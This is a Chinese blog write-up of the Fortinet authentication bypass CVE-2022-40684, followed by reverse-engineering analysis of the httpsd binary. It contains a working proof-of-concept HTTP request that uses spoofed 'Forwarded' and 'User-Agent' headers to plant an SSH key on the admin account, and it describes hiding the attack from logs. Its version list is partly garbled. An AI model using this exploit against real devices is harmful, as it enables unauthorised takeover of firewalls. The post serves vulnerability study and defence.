释放双眼,带上耳机,听听看~!
一
漏洞介绍
近日,Fortinet官方发布安全公告,修复了其多个产品中的一个身份验证绕过漏洞(CVE-2022-40684),其CVSSv3评分为9.8。该漏洞可能允许攻击者在易受攻击的设备上执行未经授权的操作,攻击者通过向易受攻击的目标发送特制的 HTTP 或 HTTPS 请求进行绕过身份认证以管理员身份在控制面板中执行任意操作。
二
影响版本
7.0.0
7.2.0
7.0.0
FortiProxy = 7.2.0
FortiSwitchManager = 7.0.0
FortiSwitchManager = 7.2.0
三
漏洞复现
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-4b77d2bc562531651bf080f2320faadb.png)
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-9adb03ef6ecf5a44899e1523f4750d05.png)
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-668efda4dfd6813b9727cfb713e8c6eb.png)
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-8eff140ba36a0690b97441c0ad18ca51.png)
show system interface
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-93553765a25e4fcf7fe9565e4b985dcc.png)
config system interface
set mode static
set ip 192.168.27.99 255.255.255.0
set allowaccess http https ping ssh
end
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-d23dc7db79ea0ba10ac50475a3bc9035.png)
配置网关
config router static
edit 1
set device port1
set gateway 192.168.27.2
end
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-d0274f90a0be8ade5d48dd9ef278d8be.png)
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-9731bedf70b3784332eb10ce9d3457ab.png)
需要验证,在官网注册FortiGate Cloud (forticloud.com)注册账号,在此处登录获取免费的试用license。
登录成功:
POC如下:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: 192.168.27.99
User-Agent: Report Runner
Accept-Encoding: gzip, deflate
Connection:close
Forwarded: for=127.0.0.1; by=127.0.0.1;
Content-Type:application/json
Content-Length: 427
{
"ssh-public-key1": ""ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsEIb3qw+aveFIyn2bV+ZSsrgAoVKJN5TEjTtVEBq8i/C050DSFxXvQiEIm73Kc9H+6oHDU5A1ziEfMu12hSK7sJ6ThDd6Qvn9DjOtWKRUVDLzIHZGQq7v3YEg6H9MXkvx3NrcSOoIuTUEhCKo/ev56qx+BC6rsy28VAO9Bh4qzUWdlafQrpUHCbC4fGDdhPl7pEVPuCrauzP+FowrWD6CWnulTv3LkS7frlXj8SOpWOs+fZFq0FRUKZWnB2oAwl4/i9WM76D9PVXefbx4OMEc/rExTSLj4tJhORCpLRfd0IAJATKTydgUrBHefO/I0HjnjMzyIcj/VmMwEvQeWTMIw== rsa 2048-112522""
}
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-0bbb0d42e645a058afd0e1fe69199d1e.png)
生成公钥:
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-2d47f9524e4331a22150bd7ef164aeb2.png)
发起攻击:
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-7b7677489c775aff5f58e684615249ab.png)
进行ssh连接:
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-12a62ff7ca7cc8f4253706722855342e.png)
无需知道防火墙密码,连接成功,可执行任意命令。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-4fb71fa10d8a6d656bdb347fa4d099be.png)
四
原理分析
1、安装libguestfs
libguestfs 是一组 Linux 下的 C 语言的 API ,用来访问虚拟机的磁盘映像文件,几乎可访问任意类型的文件系统。
sudo apt install libguestfs-tools
sudo virt-filesystems -a fortios.vmdk
sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro mount_dir_name(替换成自己的目标文件夹)
gunzpi rootfs.gz
cpio -i 2> /dev/null
ls
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-b53bdfc7a7878bf5cf9e379f779f1402.png)
xz --decompress *.xz
find . -name xz
./sbin/xz --decompress *.xz
file ./sbin/xz
patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 sbin/xz
./sbin/xz --decompress *.xz
ls *.tar
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-655c9bd9a822590bc38cd3eb1ea72027.png)
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-83d02f37d6c9839661feffed7d2750f5.png)
接下来,解压缩文件并开始检查其内容。我们发现包含大量二进制文件,其中许多是符号链接。以及该文件夹包含管理界面的前端 Web 代码,管理界面的 NodeJs 后端,以及一个 libaries 文件夹和一个配置文件夹。
8、查看官方的补丁,差异如下:
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-ee7bec32c3b73d50fa51993874cdbe41.png)
此差异显示代理处理程序显式设置,和标头。这为我们提供了一个提示,说明从哪里开始寻找有关如何利用此漏洞的线索。
于是,进入到bin目录后寻找httpsd程序。httpsd是init程序的软连接,并且这里可以看出init程序非常大,逆向该程序比较费时。所以我们可以根据调试信息先来逆向程序逻辑。
ls -la httpsd
ls -ls init
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-66e2602ac704265f372a07e648579632.png)
9、运行以下命令开启httpsd程序的调试信息
diagnose debug enable
diagnose debug application httpsd -1
diagnose debug cli 8
使用poc进行测试,操作的信息会输出到屏幕上:
10、分析程序
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-7091831cc727d4078a4de54144fdac41.png)
进入到函数fweb_authorize_all中,分析可得,在身份认证过程中,首先调用fweb_authorize_all判断v2[8]是否等于”127.0.0.1″,即判断是否本机访问。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-2d5aabf37171b21f1cdefd0b6f4bc1dc.png)
如果本机访问则sub_C50E80函数内部继续判断接口如果是否为vsys_fgfm接口。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-c48731dbad941edfc0063cf1a3b7f637.png)
随后取Forwarded头的value值,strstr函数查找”for=”的位置,随后执行if结构体内容,再次判断Forwarded_header_content_tmp中是否存在”by”字符,如果判断不通过并不会进入到api_check_access函数中。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-0f48eefccb11de075bb98e9ff36c7109.png)
从该函数中退出来,继续往上跟踪,发现在地址C4AC70处,先调用了sub_C4B590函数,然后ap_hook_handler hook了sub_C4AC60函数。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-5164427eafa3ea498b6022b2ca0ab537.png)
进入到sub_C4AC60函数:
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-1ab79812187c62169ed1b2a5a7ea3aa3.png)
接着往下进入函数sub_C4C480,发现这里出现了调试信息里的fweb_debug_final,我们分析的方向应该没错。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-03e7bbd9130b9b90a34560015a6ac5cf.png)
从fweb_debug_final往上看,进入sub_C4BF20函数:
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-b5bd335612e403b2f64defb800543c75.png)
sub_C4BF20函数返回了sub_C4BB20函数,进入该函数,发现了调试信息出现的字符fweb_debug_init。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-ab98ed9182a114d11cdc7af2551d09c1.png)
重新回到sub_C4C480,接下来看一下fweb_debug_init与fweb_debug_final之间的两个函数v3[1]函数和sub_C4C2A0。首先,我们跟进分析一下v3[1]函数,往上看,v3=a2,而a2是函数sub_C4C480的参数
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-39dde1523702059fa10da8d807c5b4ec.png)
通过交叉引用,发现a2参数为off_3FEA400函数数组的地址:
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-1ab79812187c62169ed1b2a5a7ea3aa3.png)
继续往下:
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-dbf1727d385043ba964c826bcb4b4816.png)
发现从此处会调用一系列hanler函数,这里v3应该对应sub_c929F0函数。查看sub_c929F0函数,函数中调用了api_check_access函数,并且程序会根据api_check_access返回值返回用户对应响应码的reponse。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-ea696da6248cf8c10d4671bf86563fa7.png)
进入api_check_access函数中进行查看:
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-8593e091a0dc05d2cdfa70aa54939472.png)
该函数中无任何输出,分析后发现sub_c929F0函数中调用了handle_cli_request输出了调试信息。该handler函数执行完毕并返回执行fweb_debug_final函数,随后结束该次event响应。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-2f32d564d0a8afc279585cd92e0ce625.png)
sub_C510D0函数中判断表单中User-Agent的value值是否与Node.js是否相同,如果不是”Node.js”,则判断User-Agent的value值是否与Report Runner是否相同。
![](http://img.blog.laolisafe.com/uploads/2022/12/frc-7709b53b005af93605bd472ea40b364c.png)
进入到以上俩种方式中的某一种,用户赋值为”Local_Process_Access”,此时会绕过身份认证。分析到这里,我们就可以知道要想攻击成功,需要设置Forwarded头value值必须为”for=”,后面可以设置127.0.0.1来隐藏防火墙中的攻击记录,而User-Agent的value可以设置”Node.js”和”Report Runner”俩种中的一个。
参考链接:
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/
https://www.ctfiot.com/70650.html
https://zhuanlan.zhihu.com/p/575575181
看雪ID:mb_wujuesou
https://bbs.pediy.com/user-home-968133.htm
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。